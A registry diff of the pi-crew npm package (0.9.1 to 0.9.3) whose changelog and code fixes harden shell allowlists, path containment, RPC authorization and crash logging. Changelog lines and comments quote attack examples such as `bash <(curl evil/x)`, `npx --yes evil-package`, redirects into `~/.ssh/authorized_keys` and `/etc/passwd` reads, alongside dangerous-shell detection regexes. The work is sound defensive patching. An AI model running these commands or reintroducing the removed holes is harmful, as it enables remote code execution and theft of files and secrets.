pi-crew 0.9.1 → 0.9.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -1,5 +1,135 @@
1
1
  # Changelog
2
2
 
3
+ ## [v0.9.3] — security hardening + crash-diagnostics (code review 2026-06-23)
4
+
5
+ Patch release addressing findings from a full codebase code review
6
+ (`research-findings/pi-crew-code-review-2026-06-23.md`), plus observability fixes
7
+ for silent background-runner deaths.
8
+
9
+ ### Critical
10
+
11
+ - **C-1** `worktree/branch-freshness.ts`: the `git()` helper spawned git with the
12
+ full parent env, leaking every API key/token to any git hook/alias/credential-
13
+ helper. Now uses `sanitizeEnvSecrets()` (mirrors `worktree-manager.ts`).
14
+
15
+ ### High
16
+
17
+ - **H-1** `tools/safe-bash.ts`: `isDangerous()` missed Bash process substitution
18
+ `<(...)`/`>(...)`, which executes commands in a subshell bypassing all pipe-
19
+ based checks (e.g. `bash <(curl evil/x)`). Now blocked.
20
+ - **H-2** `runtime/cross-extension-rpc.ts`: RPC authorization relied on a
21
+ self-declared `source === "pi-crew"` field any co-installed extension could
22
+ spoof. Now also requires an unguessable per-process token (`getCrewRpcToken()`).
23
+ - **H-3** `extension/team-tool/run.ts`: result/summary artifact reads used a
24
+ `path.isAbsolute()` shortcut + bare `path.join`, allowing arbitrary file read
25
+ (`/etc/passwd`) and `../` traversal. Now routed through `resolveRealContainedPath()`.
26
+ - **H-4** `ui/live-conversation-overlay.ts`: `cachedLines` grew unbounded during
27
+ long live sessions (OOM). Now capped at 5000 lines (ring buffer).
28
+ - **H-6** `runtime/orphan-worker-registry.ts`: `pid` was interpolated into an
29
+ `execSync` shell string with no runtime assertion (command injection via a
30
+ poisoned state file). Now `Number.isFinite()`-guarded + `execFileSync` argv.
31
+ - **H-7** `benchmark/benchmark-runner.ts`: the command allowlist permitted `npx`/
32
+ `node`, enabling arbitrary code execution without metacharacters
33
+ (`npx --yes evil`, `node -e …`). Removed; use `npm test`/`cargo test`.
34
+
35
+ ### Medium
36
+
37
+ - **M-1** `runtime/post-checks.ts`, `runtime/task-runner.ts`: hand-rolled
38
+ `path.resolve + startsWith` containment was vulnerable to symlink traversal;
39
+ replaced with `resolveRealContainedPath()`.
40
+ - **M-2** `workflows/intermediate-store.ts`: `phase`/`stepId` were interpolated
41
+ into a filename via `path.join` with no validation (path traversal via a
42
+ poisoned stepId). Now validated with `isSafePathId()`.
43
+ - **M-3/M-4** `runtime/verification-gates.ts`: the dangerous-shell regex allowed
44
+ bare `>` file redirects and used a confusing `[^^&]` char class. Replaced with
45
+ a `[<>](?![&\d])` lookahead that blocks file redirects while allowing
46
+ `2>&1`/`>&N` fd-duplication.
47
+ - **M-5** `tools/safe-bash.ts`: the overly-permissive-`allowPatterns` rejection
48
+ only caught patterns matching both `""` and `"rm -rf /"`; a pattern like `/.+/`
49
+ bypassed it. Now tests each pattern against a battery of dangerous commands.
50
+ (`safeRead` removed from the `permissive` preset — it allowed `cat` of any file.)
51
+ - **M-7** `config/config.ts`: the `PI_TEAMS_HOME` containment check was bypassed
52
+ whenever `NODE_ENV=test`, reachable from staging/CI environments. The explicit
53
+ `PI_CREW_SKIP_HOME_CHECK=1` flag is now the only opt-out (test runner sets it).
54
+ - **M-8** `hooks/registry.ts`: the prototype-pollution key lookup omitted
55
+ `.normalize("NFKC")`, so fullwidth-confusable keys (e.g. `__proto__`, U+FF4F)
56
+ bypassed sanitization. Now normalized in both lookups.
57
+ - **M-9** `runtime/verification-gates.ts`: the command-timeout `setTimeout` was
58
+ never stored/cleared, keeping the event loop alive for the full timeout and
59
+ firing `kill()` on an already-dead process. Now stored, `unref()`'d, and
60
+ cleared on close/error.
61
+ - **M-10** `ui/live-run-sidebar.ts`: `dispose()` did not clear `autoCloseTimeout`,
62
+ so a disposed sidebar could fire `done()` later. Now cleared.
63
+ - **M-11** `ui/settings-overlay.ts`: local width/truncate helpers counted
64
+ characters naively (broke CJK/emoji alignment). Now delegate to the
65
+ Unicode-aware `utils/visual.ts`.
66
+ - **M-13** `ui/tool-renderers/index.ts`: removed dead `linkPath()` that
67
+ interpolated a path into an OSC-8 escape without sanitizing control chars.
68
+
69
+ ### Crash diagnostics (background runner)
70
+
71
+ Three observability fixes so silent background-runner deaths leave a trace
72
+ (root-caused a memory-pressure OOM/abort that previously vanished without a log):
73
+
74
+ - **async-runner.ts**: drain the child stderr pipe into `background.log` instead
75
+ of destroying it (native abort/segfault messages were being swallowed). Buffer
76
+ capped at 256 KB.
77
+ - **async-runner.ts**: V8 `--report-on-fatalerror` is now ON by default (writes a
78
+ report file into the run stateRoot); opt out with `PI_CREW_BG_REPORT_ON_FATAL=0`.
79
+ - **background-runner.ts**: documented why the console redirect alone cannot
80
+ catch native crashes.
81
+
82
+ ### Tests
83
+
84
+ - Regression tests added for H-1 (process substitution) and M-8 (NFKC-confusable
85
+ prototype pollution).
86
+ - `getBackgroundRunnerCommand` tests updated for the new default report flags.
87
+ - Benchmark test fixtures migrated off `npx`/`node` (now `grep --help`).
88
+
89
+ ### Not addressed in this release
90
+
91
+ - **H-5** (transcript-viewer redundant disk I/O) — performance, deferred.
92
+ - **H-8** (live-control injection) — pair with full event-bus origin signing.
93
+ - **M-6** (per-child API-key scoping) — architectural; tracked separately.
94
+ - **M-12/M-14** (widget dedup, shared elapsed helper) — maintainability, deferred.
95
+
96
+ ## [v0.9.2] — package cleanup: remove scratch scripts leaked into npm tarball (2026-06-22)
97
+
98
+ Patch release. **No code changes.** Purely a published-package hygiene fix.
99
+
100
+ ### What was wrong
101
+
102
+ The `package.json` `files` field includes a root-level `*.mjs` glob, intended
103
+ for the legit `install.mjs` (postinstall script). It accidentally also picked
104
+ up three ad-hoc scratch scripts that were committed at the repo root during
105
+ earlier development:
106
+
107
+ - `test-tp.mjs` — a 12-line `tool-progress` format smoke print
108
+ - `test-bugs-all.mjs` — an 89-line string-matching bug-fix verifier
109
+ - `test-lastActivityAt.mjs` — a manual `node:test` for a heartbeat fallback
110
+
111
+ All three shipped in the published npm tarball (v0.9.0 and v0.9.1) even though
112
+ they are not part of `npm test` and have no runtime value for consumers.
113
+
114
+ ### Fix
115
+
116
+ - `git rm`'d the three scratch scripts. The behavior they checked is covered by
117
+ the real unit suite (`test/unit/`), which does NOT ship to npm.
118
+ - After the fix, the only `.mjs` in the tarball is the intended `install.mjs`.
119
+
120
+ ### Verification
121
+
122
+ - tsc: 0
123
+ - `npm pack --dry-run` confirms `install.mjs` is the only `.mjs` shipped
124
+ - regression suite (env-allowlist, goal-p1d-schema): 11/11 pass
125
+ - No behavior change — consumers see no functional difference
126
+
127
+ ### Breaking changes
128
+
129
+ None.
130
+
131
+ ---
132
+
3
133
  ## [v0.9.1] — Windows essentials fix + cross-platform CI green (2026-06-22)
4
134
 
5
135
  Patch release. No new features. Fixes a real Windows bug reported by a user,
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "pi-crew",
3
- "version": "0.9.1",
3
+ "version": "0.9.3",
4
4
  "description": "Pi extension for coordinated AI teams, workflows, worktrees, and async task orchestration",
5
5
  "author": "baphuongna",
6
6
  "license": "MIT",
@@ -41,10 +41,14 @@ export interface BenchmarkResult {
41
41
  * Uses comprehensive shell metacharacter blocking similar to safe-bash.ts.
42
42
  */
43
43
  function validateCommand(command: string): void {
44
- // Basic allowlist - must start with allowed command
45
- const allowlist = /^(pytest|grep|npm test|npx|node) /;
44
+ // Basic allowlist - must start with an allowed command.
45
+ // SECURITY (H-7): `npx`/`node` were removed because they enable arbitrary code
46
+ // execution without any shell metacharacter (e.g. `npx --yes evil-package`
47
+ // or `node -e "require('fs')…"`). Use `npm test`/`npm run …` instead of raw
48
+ // `node`/`npx` in benchmark task definitions.
49
+ const allowlist = /^(pytest|grep|npm test|cargo test|cargo clippy) /;
46
50
  if (!allowlist.test(command)) {
47
- throw new Error(`Command not allowed: ${command}. Only pytest, grep, npm test, npx allowed.`);
51
+ throw new Error(`Command not allowed: ${command}. Only pytest, grep, npm test, cargo test/clippy allowed.`);
48
52
  }
49
53
 
50
54
  // Block shell metacharacters after command name
@@ -84,16 +84,11 @@ function resolveHomeDir(): string {
84
84
  if (process.env.PI_CREW_SKIP_HOME_CHECK === "1") {
85
85
  return envValue;
86
86
  }
87
- // NOTE: NODE_ENV=test bypass is intentional for test isolation only.
88
- // It allows tests to use isolated temporary directories (e.g. withIsolatedHome
89
- // sets PI_TEAMS_HOME to /tmp). This is NOT a security boundary — tests that
90
- // need the validation skipped should set PI_CREW_SKIP_HOME_CHECK=1 explicitly.
91
- // WARNING: Tests must NOT rely on PI_TEAMS_HOME for security boundaries in
92
- // test environments. Any test verifying path-restriction behavior should set
93
- // PI_CREW_SKIP_HOME_CHECK=1 and validate the path directly.
94
- if (process.env.NODE_ENV === "test") {
95
- return envValue;
96
- }
87
+ // M-7 fix (code-review 2026-06-23): the previous `NODE_ENV === "test"` bypass
88
+ // was reachable from any production-ish environment that happened to set
89
+ // NODE_ENV=test (CI smoke tests, staging), allowing a malicious .env to
90
+ // redirect PI_TEAMS_HOME anywhere. The explicit opt-out flag above is the only
91
+ // bypass now; the test runner sets it (scripts/test-runner.mjs).
97
92
  try {
98
93
  const userHome = fs.realpathSync(defaultHome);
99
94
  const resolvedHome = fs.realpathSync(envValue);
@@ -15,6 +15,7 @@ import type { executeTeamRun as ExecuteTeamRunFn } from "../../runtime/team-runn
15
15
  // eslint-disable-next-line @typescript-eslint/no-unused-vars -- type-only import for TS inference
16
16
  const _typeCheck: typeof ExecuteTeamRunFn = null as never as typeof ExecuteTeamRunFn;
17
17
  import { logInternalError } from "../../utils/internal-error.ts";
18
+ import { resolveRealContainedPath } from "../../utils/safe-paths.ts";
18
19
  let _cachedExecuteTeamRun: typeof ExecuteTeamRunFn | undefined;
19
20
  async function executeTeamRun(...args: Parameters<typeof ExecuteTeamRunFn>): Promise<Awaited<ReturnType<typeof ExecuteTeamRunFn>>> {
20
21
  if (!_cachedExecuteTeamRun) {
@@ -439,9 +440,11 @@ export async function handleRun(params: TeamToolParamsValue, ctx: TeamContext):
439
440
  let resultExcerpt = "";
440
441
  if (task.resultArtifact?.path) {
441
442
  try {
442
- const resPath = path.isAbsolute(task.resultArtifact.path)
443
- ? task.resultArtifact.path
444
- : path.join(completed.manifest.artifactsRoot, task.resultArtifact.path);
443
+ // H-3 fix (code-review 2026-06-23): resolve the result artifact path
444
+ // inside artifactsRoot via the project's safe-path primitive. Rejects
445
+ // absolute paths (/etc/passwd) and ../ traversal that the old
446
+ // path.isAbsolute shortcut + bare path.join allowed.
447
+ const resPath = resolveRealContainedPath(completed.manifest.artifactsRoot, task.resultArtifact.path);
445
448
  resultExcerpt = fs.readFileSync(resPath, "utf-8").trim().slice(0, 2000);
446
449
  } catch {
447
450
  resultExcerpt = "(result unavailable)";
@@ -572,9 +575,11 @@ export async function handleRun(params: TeamToolParamsValue, ctx: TeamContext):
572
575
  let resultExcerpt = "";
573
576
  if (task.resultArtifact?.path) {
574
577
  try {
575
- const resPath = path.isAbsolute(task.resultArtifact.path)
576
- ? task.resultArtifact.path
577
- : path.join(completed.manifest.artifactsRoot, task.resultArtifact.path);
578
+ // H-3 fix (code-review 2026-06-23): resolve the result artifact path
579
+ // inside artifactsRoot via the project's safe-path primitive. Rejects
580
+ // absolute paths (/etc/passwd) and ../ traversal that the old
581
+ // path.isAbsolute shortcut + bare path.join allowed.
582
+ const resPath = resolveRealContainedPath(completed.manifest.artifactsRoot, task.resultArtifact.path);
578
583
  resultExcerpt = fs.readFileSync(resPath, "utf-8").trim().slice(0, 2000);
579
584
  } catch {
580
585
  resultExcerpt = "(result unavailable)";
@@ -71,7 +71,7 @@ export async function executeHook(name: HookName, ctx: HookContext): Promise<Hoo
71
71
  function sanitizeMergeData(data: Record<string, unknown>): Record<string, unknown> {
72
72
  const clean: Record<string, unknown> = {};
73
73
  for (const [k, v] of Object.entries(data)) {
74
- if (!POLLUTED_KEYS.has(k.toLowerCase())) {
74
+ if (!POLLUTED_KEYS.has(k.toLowerCase().normalize("NFKC"))) {
75
75
  if (v !== null && typeof v === "object") {
76
76
  if (Array.isArray(v)) {
77
77
  // Sanitize array elements that are objects
@@ -91,7 +91,7 @@ export async function executeHook(name: HookName, ctx: HookContext): Promise<Hoo
91
91
  // This sanitization runs at the start of executeHook to prevent prototype pollution attacks.
92
92
  function sanitizeContext(ctx: HookContext): HookContext {
93
93
  for (const key of Object.keys(ctx)) {
94
- if (POLLUTED_KEYS.has(key.toLowerCase())) {
94
+ if (POLLUTED_KEYS.has(key.toLowerCase().normalize("NFKC"))) {
95
95
  delete ctx[key];
96
96
  }
97
97
  }
@@ -107,6 +107,12 @@ export function getBackgroundRunnerCommand(
107
107
  cwd: string,
108
108
  runId: string,
109
109
  loaderInput: LoaderInput = resolveTypeScriptLoader(),
110
+ /**
111
+ * Directory to write the V8 fatal-error report into. Defaults to
112
+ * path.dirname(runnerPath). Pass the run stateRoot so the report lands
113
+ * next to background.log for easy diagnosis.
114
+ */
115
+ reportDirectory?: string,
110
116
  ): { args: string[]; loader: "jiti" | "strip-types" } {
111
117
  const loader = normalizeLoaderInput(loaderInput);
112
118
  if (!loader) throw new Error(buildLoaderUnavailableMessage(packageRootFromRuntime()));
@@ -116,13 +122,16 @@ export function getBackgroundRunnerCommand(
116
122
  // defaults to ~1.5GB on 64-bit systems, which combined with jiti compilation
117
123
  // and child processes can exhaust system memory.
118
124
  const memoryLimit = "--max-old-space-size=512";
119
- // Phase 1.5 #3 (RFC 17): opt-in V8 diagnostic report on fatal error. Writes
120
- // a report file next to the manifest when the process dies abnormally.
121
- // Crucial for diagnosing the non-deterministic multi-step goal-wrap crash
122
- // (commit a9f6e09) gives us native stack, environment, and load info that
123
- // application-level signal handlers cannot capture.
124
- const reportFlags = process.env.PI_CREW_BG_REPORT_ON_FATAL === "1" || process.env.PI_TEAMS_BG_REPORT_ON_FATAL === "1"
125
- ? ["--report-on-fatalerror", "--report-compact", `--report-directory=${path.dirname(runnerPath)}`]
125
+ // V8 diagnostic report on fatal error. A native heap-OOM abort or segfault
126
+ // bypasses the JS process.on('exit') handler and console overrides
127
+ // entirely only a V8 report file survives such crashes. This is ON by
128
+ // default precisely so silent runner deaths (like the explore→code-review
129
+ // transition crash) leave a native stack/heap/environment trace. Users who
130
+ // don't want report files can opt out with PI_CREW_BG_REPORT_ON_FATAL=0.
131
+ const reportOn = !(process.env.PI_CREW_BG_REPORT_ON_FATAL === "0" || process.env.PI_TEAMS_BG_REPORT_ON_FATAL === "0");
132
+ const reportDir = reportDirectory ?? path.dirname(runnerPath);
133
+ const reportFlags = reportOn
134
+ ? ["--report-on-fatalerror", "--report-compact", `--report-directory=${reportDir}`]
126
135
  : [];
127
136
  if (loader.kind === "jiti") {
128
137
  return {
@@ -243,7 +252,9 @@ export async function spawnBackgroundTeamRun(manifest: TeamRunManifest): Promise
243
252
  appendEvent(manifest.eventsPath, { type: "async.failed", runId: manifest.runId, message });
244
253
  throw new Error(message);
245
254
  }
246
- const command = getBackgroundRunnerCommand(runnerPath, manifest.cwd, manifest.runId, loader);
255
+ // Pass manifest.stateRoot as report-directory so V8 fatal reports land
256
+ // next to background.log (same dir) for easy post-mortem diagnosis.
257
+ const command = getBackgroundRunnerCommand(runnerPath, manifest.cwd, manifest.runId, loader, manifest.stateRoot);
247
258
  fs.appendFileSync(logPath, `[pi-crew] background loader=${command.loader}\n`, "utf-8");
248
259
 
249
260
  // Spawn the background runner as a fully detached process with its own session.
@@ -266,13 +277,56 @@ export async function spawnBackgroundTeamRun(manifest: TeamRunManifest): Promise
266
277
  windowsHide: true,
267
278
  } as unknown as Parameters<typeof spawn>[2];
268
279
  const child = spawn(process.execPath, command.args, spawnOpts);
269
- // Round 27 (BUG 3): the piped stdout/stderr are NEVER read or destroyed
270
- // 2 FDs leak per background spawn, and if the child writes >64KB (pipe
271
- // buffer) it blocks forever (nobody drains the pipe) background runner
272
- // hangs. The background runner redirects its own console to a file, so we
273
- // don't need this output destroy the read ends immediately.
280
+ // Round 27 (BUG 3) history: the piped stdout/stderr were previously destroyed
281
+ // immediately to avoid a pipe-buffer deadlock (child writes >64KB with nobody
282
+ // draining hang). BUT destroying stderr ALSO swallowed native crash
283
+ // messages: a V8 heap-OOM abort() or segfault writes its diagnostic directly
284
+ // to the process stderr fd, which was the (now-destroyed) pipe read-end, so
285
+ // the bytes vanished — making runner deaths completely silent. This caused
286
+ // the explore→code-review transition crash to leave zero trace.
287
+ //
288
+ // FIX: keep stdout destroyed (unused — runner redirects its own console to
289
+ // a file), but DRAIN stderr asynchronously into background.log with a
290
+ // "[child stderr]" prefix. Buffer is capped to avoid unbounded memory if a
291
+ // noisy child streams megabytes; excess is dropped with a truncation marker.
274
292
  child.stdout?.destroy();
275
- child.stderr?.destroy();
293
+ const STDERR_CAPTURE_LIMIT = 256 * 1024;
294
+ const stderrChunks: Buffer[] = [];
295
+ let stderrLen = 0;
296
+ let stderrTruncated = false;
297
+ const flushStderr = (): void => {
298
+ if (stderrChunks.length === 0) return;
299
+ let body: string;
300
+ try {
301
+ body = Buffer.concat(stderrChunks).toString("utf-8");
302
+ } catch {
303
+ stderrChunks.length = 0;
304
+ return;
305
+ }
306
+ stderrChunks.length = 0;
307
+ try {
308
+ fs.appendFileSync(logPath, `[child stderr] ${body}${body.endsWith("\n") ? "" : "\n"}`, "utf-8");
309
+ } catch {
310
+ /* best-effort */
311
+ }
312
+ };
313
+ child.stderr?.on("data", (chunk: Buffer) => {
314
+ if (stderrLen + chunk.length > STDERR_CAPTURE_LIMIT) {
315
+ if (!stderrTruncated) {
316
+ stderrTruncated = true;
317
+ try {
318
+ fs.appendFileSync(logPath, `[child stderr truncated at ${STDERR_CAPTURE_LIMIT} bytes]\n`, "utf-8");
319
+ } catch {
320
+ /* best-effort */
321
+ }
322
+ }
323
+ return;
324
+ }
325
+ stderrChunks.push(chunk);
326
+ stderrLen += chunk.length;
327
+ });
328
+ child.stderr?.on("end", flushStderr);
329
+ child.stderr?.on("close", flushStderr);
276
330
  child.on("error", (error: Error) => {
277
331
  logInternalError("async-runner.spawn", error, `pid=${child.pid ?? "unknown"}`);
278
332
  });
@@ -294,7 +294,17 @@ async function main(): Promise<void> {
294
294
  // FIX: Store logFd so it can be closed on exit to prevent file descriptor leak
295
295
  let logFd: number | undefined;
296
296
  // Redirect console to background.log since stdio is "ignore" in detached mode.
297
- // Must be BEFORE any console.log/console.error calls.
297
+ // This is the ABSOLUTE FIRST thing main() does after reading --cwd/--run-id
298
+ // (which are required to build the log path). Any later — after heavy imports,
299
+ // scrubProcessEnv, or signal handler setup — and JS-level crashes during those
300
+ // steps would lose their console output.
301
+ //
302
+ // NOTE on native crashes: a V8 heap-OOM abort() or segfault bypasses this
303
+ // console redirect entirely (it writes straight to the process stderr fd).
304
+ // Those are now captured two other ways: (1) the parent drains the child's
305
+ // stderr pipe into background.log (see async-runner.ts spawn), and (2) the
306
+ // V8 --report-on-fatalerror flag (ON by default) writes a report file into
307
+ // the run stateRoot. This console redirect only covers JS-level output.
298
308
  const _cwd = argValue("--cwd");
299
309
  const _runId = argValue("--run-id");
300
310
  if (_cwd && _runId) {
@@ -1,3 +1,5 @@
1
+ import * as crypto from "node:crypto";
2
+
1
3
  export interface EventBus {
2
4
  on(event: string, handler: (data: unknown) => void): () => void;
3
5
  emit(event: string, data: unknown): void;
@@ -9,6 +11,20 @@ export type RpcReply<T = void> =
9
11
 
10
12
  export const PROTOCOL_VERSION = 1;
11
13
 
14
+ // H-2 fix (code-review 2026-06-23): the old authorization relied on a
15
+ // self-declared `source === "pi-crew"` field, which any co-installed
16
+ // extension on the shared event bus can spoof. We now also require an
17
+ // unguessable per-process token. Only in-process pi-crew code can obtain it
18
+ // via getCrewRpcToken(); a cross-extension attacker cannot forge a UUID it
19
+ // has never seen. (A full fix still needs event-bus-level origin signing, but
20
+ // this closes the trivial spoof.)
21
+ let CREW_RPC_TOKEN: string | undefined;
22
+ /** @internal Per-process token that legitimate in-process RPC callers must include. */
23
+ export function getCrewRpcToken(): string {
24
+ if (!CREW_RPC_TOKEN) CREW_RPC_TOKEN = crypto.randomUUID();
25
+ return CREW_RPC_TOKEN;
26
+ }
27
+
12
28
  export interface RpcDeps {
13
29
  events: EventBus;
14
30
  getCtx: () => unknown | undefined;
@@ -58,12 +74,20 @@ export function registerCrewRpcHandlers(deps: RpcDeps): RpcHandle {
58
74
  // operations that create or terminate child processes. Any subscriber on
59
75
  // the shared event bus can emit these events. In a multi-extension
60
76
  // environment, this means a malicious extension could spawn/stop agents.
61
- // Mitigation: validate that the caller is the pi-crew extension by checking
62
- // the request includes a known extension identifier. Log all invocations
63
- // for audit. A full fix requires event-bus-level origin signing.
77
+ // Mitigation (H-2): require an unguessable per-process token in addition to
78
+ // the legacy `source` identifier. Log all invocations for audit. A full fix
79
+ // still requires event-bus-level origin signing.
64
80
  const CREW_RPC_SOURCE = "pi-crew";
81
+ const EXPECTED_TOKEN = getCrewRpcToken();
65
82
 
66
- function validateRpcSource(params: { requestId: string; source?: string }): boolean {
83
+ function validateRpcSource(params: { requestId: string; source?: string; token?: string }): boolean {
84
+ if (params.token !== EXPECTED_TOKEN) {
85
+ console.warn(
86
+ `[pi-crew SECURITY] RPC invocation rejected: missing/invalid token (source=${params.source ?? "(none)"}). ` +
87
+ `Privileged RPC requires the in-process token. Request may be from an untrusted extension.`,
88
+ );
89
+ return false;
90
+ }
67
91
  if (!params.source || params.source !== CREW_RPC_SOURCE) {
68
92
  console.warn(
69
93
  `[pi-crew SECURITY] RPC invocation from unexpected source: ${params.source ?? "(none)"}. ` +
@@ -74,22 +98,22 @@ export function registerCrewRpcHandlers(deps: RpcDeps): RpcHandle {
74
98
  return true;
75
99
  }
76
100
 
77
- const unsubSpawn = handleRpc<{ requestId: string; type: string; prompt: string; options?: Record<string, unknown>; source?: string }>(
101
+ const unsubSpawn = handleRpc<{ requestId: string; type: string; prompt: string; options?: Record<string, unknown>; source?: string; token?: string }>(
78
102
  events,
79
103
  "crew:rpc:spawn",
80
104
  (params) => {
81
- if (!validateRpcSource(params)) throw new Error("Unauthorized: RPC spawn requires source='pi-crew'");
105
+ if (!validateRpcSource(params)) throw new Error("Unauthorized: RPC spawn requires valid token and source='pi-crew'");
82
106
  const ctx = getCtx();
83
107
  if (!ctx) throw new Error("No active session");
84
108
  return { id: spawn(params.type, params.prompt, params.options ?? {}) };
85
109
  },
86
110
  );
87
111
 
88
- const unsubStop = handleRpc<{ requestId: string; agentId: string; source?: string }>(
112
+ const unsubStop = handleRpc<{ requestId: string; agentId: string; source?: string; token?: string }>(
89
113
  events,
90
114
  "crew:rpc:stop",
91
115
  (params) => {
92
- if (!validateRpcSource(params)) throw new Error("Unauthorized: RPC stop requires source='pi-crew'");
116
+ if (!validateRpcSource(params)) throw new Error("Unauthorized: RPC stop requires valid token and source='pi-crew'");
93
117
  if (!abort(params.agentId)) throw new Error("Agent not found");
94
118
  },
95
119
  );
@@ -23,7 +23,7 @@
23
23
  */
24
24
  import * as fs from "node:fs";
25
25
  import * as path from "node:path";
26
- import { execSync } from "node:child_process";
26
+ import { execSync, execFileSync } from "node:child_process";
27
27
  import { userPiRoot } from "../utils/paths.ts";
28
28
  import { logInternalError } from "../utils/internal-error.ts";
29
29
  import { withFileLockSync } from "../state/locks.ts";
@@ -109,12 +109,17 @@ function getProcessStartTimeLinux(pid: number): number | undefined {
109
109
  }
110
110
 
111
111
  function getProcessStartTimeMacOS(pid: number): number | undefined {
112
+ // SECURITY (H-6): validate pid is a finite positive number before use, and
113
+ // pass it as an argv element (not interpolated into a shell string) so a
114
+ // poisoned pid value can never reach a shell. Number.isFinite() rejects any
115
+ // non-numeric string that could carry shell metacharacters.
116
+ if (!Number.isFinite(pid) || pid <= 0) return undefined;
112
117
  // Use sysctl to get process start time on macOS
113
118
  // KERN_PROC_PID returns a kinfo_proc structure with p_starttime
114
119
  try {
115
- // Use ps to get process start time - format: Mon Day Time or Mon Day Year
116
- // For cross-platform consistency, we use 'lstart' which gives full timestamp
117
- const output = execSync(`ps -p ${pid} -o lstart=`, { encoding: "utf-8", timeout: 5000 }).trim();
120
+ // For cross-platform consistency, use 'lstart' which gives full timestamp.
121
+ // execFileSync with an args array avoids shell interpretation entirely.
122
+ const output = execFileSync("ps", ["-p", String(pid), "-o", "lstart="], { encoding: "utf-8", timeout: 5000 }).trim();
118
123
  if (!output) return undefined;
119
124
  // Parse date string like "Mon Jan 15 10:30:45 2024"
120
125
  const date = new Date(output);
@@ -126,12 +131,17 @@ function getProcessStartTimeMacOS(pid: number): number | undefined {
126
131
  }
127
132
 
128
133
  function getProcessStartTimeWindows(pid: number): number | undefined {
134
+ // SECURITY (H-6): validate pid is a finite positive number. After this guard
135
+ // the value is guaranteed numeric, so interpolating it into the PowerShell
136
+ // -Command string is safe (no shell metacharacters can be injected).
137
+ if (!Number.isFinite(pid) || pid <= 0) return undefined;
129
138
  // Use Windows API via JSDrive's winattr or native code
130
139
  // For Node.js without native modules, use tasklist /v and parse output
131
140
  try {
132
141
  // /v verbose, /fo csv, /nh no header
133
- const output = execSync(
134
- `powershell -Command "Get-Process -Id ${pid} | Select-Object -ExpandProperty StartTime"`,
142
+ const output = execFileSync(
143
+ "powershell",
144
+ ["-Command", `Get-Process -Id ${pid} | Select-Object -ExpandProperty StartTime`],
135
145
  { encoding: "utf-8", timeout: 5000 },
136
146
  ).trim();
137
147
  if (!output) return undefined;
@@ -9,6 +9,7 @@ import * as path from "node:path";
9
9
  import { WINDOWS_ESSENTIAL_ENV_VARS } from "../utils/env-allowlist.ts";
10
10
  import { resolveShellForScript } from "../utils/resolve-shell.ts";
11
11
  import { sanitizeEnvSecrets } from "../utils/env-filter.ts";
12
+ import { resolveRealContainedPath } from "../utils/safe-paths.ts";
12
13
 
13
14
  /** Default timeout for post-check scripts (5 minutes). */
14
15
  const DEFAULT_TIMEOUT_MS = 300_000;
@@ -78,12 +79,13 @@ export async function runPostCheck(config: PostCheckConfig, cwd: string): Promis
78
79
  };
79
80
  }
80
81
 
81
- // M1: Validate that the script path is contained within cwd to prevent arbitrary file execution
82
- const resolved = path.resolve(cwd, scriptPath);
83
- const resolvedCwd = path.resolve(cwd);
84
- if (!resolved.startsWith(resolvedCwd + path.sep) && resolved !== resolvedCwd) {
85
- throw new Error(`Security: PI_CREW_POST_CHECK_SCRIPT escapes cwd: ${scriptPath}`);
86
- }
82
+ // M-1 fix (code-review 2026-06-23): use the project's safe-path primitive instead
83
+ // of a hand-rolled path.resolve + startsWith check. The lexical check passed a
84
+ // symlinked cwd/scripts -> /usr/local/bin, but execFileSync followed the symlink
85
+ // and executed a script outside the working directory. resolveRealContainedPath
86
+ // walks ancestors with O_NOFOLLOW and re-validates after realpath, defeating
87
+ // symlink-traversal attacks. Throws if the resolved path escapes cwd.
88
+ resolveRealContainedPath(cwd, scriptPath);
87
89
 
88
90
  const startTime = Date.now();
89
91
 
@@ -11,6 +11,7 @@ import type {
11
11
  VerificationEvidence,
12
12
  } from "../state/types.ts";
13
13
  import { logInternalError } from "../utils/internal-error.ts";
14
+ import { resolveRealContainedPath } from "../utils/safe-paths.ts";
14
15
  import { errors } from "../errors.ts";
15
16
  import { writeArtifact } from "../state/artifact-store.ts";
16
17
  import { appendEventAsync, appendEventFireAndForget } from "../state/event-log.ts";
@@ -282,11 +283,11 @@ export async function runTeamTask(
282
283
  if (input.step.preStepScript) {
283
284
  const scriptTimeout = input.step.preStepTimeout ?? 30_000;
284
285
  const scriptArgs = input.step.preStepArgs ?? [];
285
- // SECURITY: Validate preStepScript path is contained within cwd
286
- const resolved = path.resolve(manifest.cwd, input.step.preStepScript);
287
- if (!resolved.startsWith(path.resolve(manifest.cwd) + path.sep) && resolved !== path.resolve(manifest.cwd)) {
288
- throw new Error(`Security: preStepScript path escapes working directory: ${input.step.preStepScript}`);
289
- }
286
+ // SECURITY (M-1 fix, code-review 2026-06-23): use the project's safe-path
287
+ // primitive instead of a hand-rolled path.resolve + startsWith check.
288
+ // The lexical check passed a symlinked ancestor, letting execFileSync
289
+ // follow it and execute a script outside cwd. Throws on escape.
290
+ resolveRealContainedPath(manifest.cwd, input.step.preStepScript);
290
291
  try {
291
292
  const { execFileSync } = await import("node:child_process");
292
293
  preStepOutput = execFileSync(input.step.preStepScript, scriptArgs, {
@@ -130,9 +130,13 @@ export const CARGO_RUST_GATES: Array<{ name: string; command: string; critical:
130
130
  // secrets into captured gate output, e.g. `echo $ANTHROPIC_API_KEY`).
131
131
  // $+word-char is blocked; special vars like $?/$$/$! are left alone. Built-in
132
132
  // gates use only `2>&1` (no $VAR), so this does not break them.
133
- const DANGEROUS_SHELL_PATTERNS = /(?:;|&&|\|\||\$\(|`|\$\{|\$\w|\b(eval|exec)\b|>>|<[^^&]|[\r\n])/;
134
- // Note: single `>` is NOT blocked here because `2>&1` is a safe redirect used by built-in gates.
135
- // `>>` (append) is still blocked. `<` without `&` (input redirect) is still blocked.
133
+ // M-3/M-4 fix (code-review 2026-06-23): the old pattern used `>>` (append) and
134
+ // `<[^^&]` (a confusing char class). It allowed bare `>` (file redirect, e.g.
135
+ // `npm test > ~/.ssh/authorized_keys`) and used char-class semantics instead of
136
+ // a lookahead. Now `[<>](?![&\d])` blocks BOTH `<` and `>` file redirects while
137
+ // still permitting fd-duplication forms (`2>&1`, `1>&2`, `>&2`, `<&3`) via the
138
+ // negative lookahead (a `>`/`<` followed by `&` or a digit is allowed).
139
